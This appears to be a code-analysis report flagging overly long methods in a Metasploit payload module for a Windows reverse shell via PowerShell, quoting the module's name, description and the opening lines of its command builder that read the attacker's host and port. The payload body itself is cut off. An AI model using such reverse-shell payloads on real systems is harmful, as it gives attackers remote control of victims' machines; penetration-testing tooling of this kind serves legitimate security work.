modules/payloads/singles/cmd/windows/reverse_powershell.rb
Method command_string
has 56 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def command_string
lhost = datastore['LHOST']
lport = datastore['LPORT']
powershell = %Q^
$a='#{lhost}';
Method initialize
has 30 lines of code (exceeds 25 allowed). Consider refactoring. Open
Open
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',
'Description' => 'Connect back and create a command shell via Powershell',
'Author' =>